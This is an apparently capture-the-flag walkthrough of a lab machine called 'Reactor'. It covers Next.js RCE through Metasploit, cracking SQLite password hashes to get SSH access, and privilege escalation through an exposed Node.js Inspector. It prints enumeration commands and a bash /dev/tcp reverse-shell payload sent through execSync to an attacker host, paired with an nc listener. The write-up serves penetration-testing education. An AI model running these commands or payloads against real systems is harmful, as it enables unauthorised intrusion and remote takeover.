Reactor
Summary
Reactor is a straightforward web-to-root chain. We gain an initial shell by exploiting a Next.js application, recover crackable hashes from a SQLite database for lateral movement to the engineer user via SSH, and finally pwn the box through a Node.js Inspector (port 9229) listening on localhost - a full OS command execution primitive.
Skills Required
- Web application enumeration
- Offline hash cracking fundamentals
Skills Learned
- Using Metasploit modules for framework-specific RCE
- Local port forwarding for internal services
- Node.js Inspector (port 9229) as an RCE primitive
- Why
bash -cis required for/dev/tcppayloads inexecSync
Reconnaissance
An initial full port scan reveals two open ports.
- Port 22 - SSH
- Port 3000 - HTTP
nmap -sC -sV -p- <target_ip>
Browsing to http://<target_ip>:3000 reveals a web application built with Next.js and React. Directory and virtual host enumeration with both feroxbuster and ffuf return no interesting results.
feroxbuster -u http://<target_ip>:3000 ffuf -u http://<target_ip>:3000 -H "Host: FUZZ.<target_ip>" -w /path/to/wordlist
Initial Access
Exploiting the Next.js / React application
Using Metasploit's react2shell module against the Next.js application yields an initial limited shell.
msfconsole use <react2shell module> set RHOSTS <target_ip> set RPORT 3000 run
Credential Discovery
SQLite database
While enumerating the filesystem from the limited shell, a SQLite database file is discovered containing two hashed passwords.
find / -name "*.db" 2>/dev/null sqlite3 <database_file> .tables SELECT * FROM users;
The hashes are cracked offline (e.g. with hashcat or john), revealing credentials for the engineer user.
Lateral Movement
SSH access
Using the cracked credentials, SSH access is obtained as the engineer user.
ssh engineer@<target_ip>
Privilege Escalation
Internal port discovery
Enumerating listening ports reveals an internal service on localhost:9229 - the Node.js Inspector/Debugger protocol.
ss -tlnp # or netstat -tlnp
Port forwarding
The internal port is forwarded to the attacker machine over SSH.
ssh -L 9229:127.0.0.1:9229 engineer@<target_ip>
Confirming the port responds:
curl http://localhost:9229 # WebSockets request was expected
Node.js Inspector RCE
Connect to the Node.js debugger using the built-in node inspect client:
node inspect localhost:9229
From the debug console, OS commands can be executed via the child_process module:
exec("process.mainModule.require('child_process').execSync('id').toString()")
A reverse shell is obtained by wrapping the payload in bash -c, ensuring bash (rather than /bin/sh) handles the redirection syntax:
exec("process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/<attacker_ip>/1337 0>&1\"').toString()")
With a listener running on the attacker machine:
nc -lvnp 1337
A shell is received as the privileged user, completing the machine.
Key Takeaways
- Node.js Inspector (port 9229) exposed internally is a critical misconfiguration - it allows full OS command execution via the debug protocol.
bash -c "..."is necessary when passing bash-specific syntax (like>&redirections and/dev/tcp) throughexecSync, since it defaults to/bin/shwhich does not support these features.- Hashed passwords stored in local database files are a common foothold for lateral movement on HTB machines.